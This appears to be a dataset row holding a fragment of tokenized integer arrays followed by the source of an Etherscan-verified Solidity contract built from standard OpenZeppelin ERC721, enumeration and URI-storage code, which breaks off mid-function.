3643,
1010,
21318,
3372,
15117,
1010,
21318,
3372,
2620,
1058,
1010,
27507,
16703,
1054,
1010,
27507,
16703,
1055,
1007,
6327,
1025,
2724,
12927,
1006,
4769,
25331,
4604,
2121,
1010,
21318,
3372,
3815,
2692,
1010,
21318,
3372,
3815,
2487,
1007,
1025,
2724,
6402,
1006,
4769,
25331,
4604,
2121,
1010,
21318,
3372,
3815,
2692,
1010,
21318,
3372,
3815,
2487,
1010,
4769,
25331,
2000,
1007,
1025,
2724,
19948,
1006,
4769,
25331,
4604,
2121,
1010,
21318,
3372,
3815,
2692,
2378,
1010,
21318,
3372,
3815,
2487,
2378,
1010,
21318,
3372,
3815,
2692,
5833,
1010,
21318,
3372,
3815,
2487,
5833,
1010,
4769,
25331,
2000,
1007,
1025,
2724,
26351,
1006,
21318,
3372,
14526,
2475,
3914,
2692,
1010,
21318,
3372,
14526,
2475,
3914,
2487,
1007,
1025,
3853,
6263,
1035,
6381,
3012,
1006,
1007,
6327,
5760,
5651,
1006,
21318,
3372,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-05-02
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: '';
}
/**
* @dev Base URI for computing {tokenURI}. Empty by default, can be overriden
* in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
/**
* @dev ERC721 token with storage based token URI management.
*/
abstract contract ERC721URIStorage is ERC721 {
using Strings for uint256;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return super.tokenURI(tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
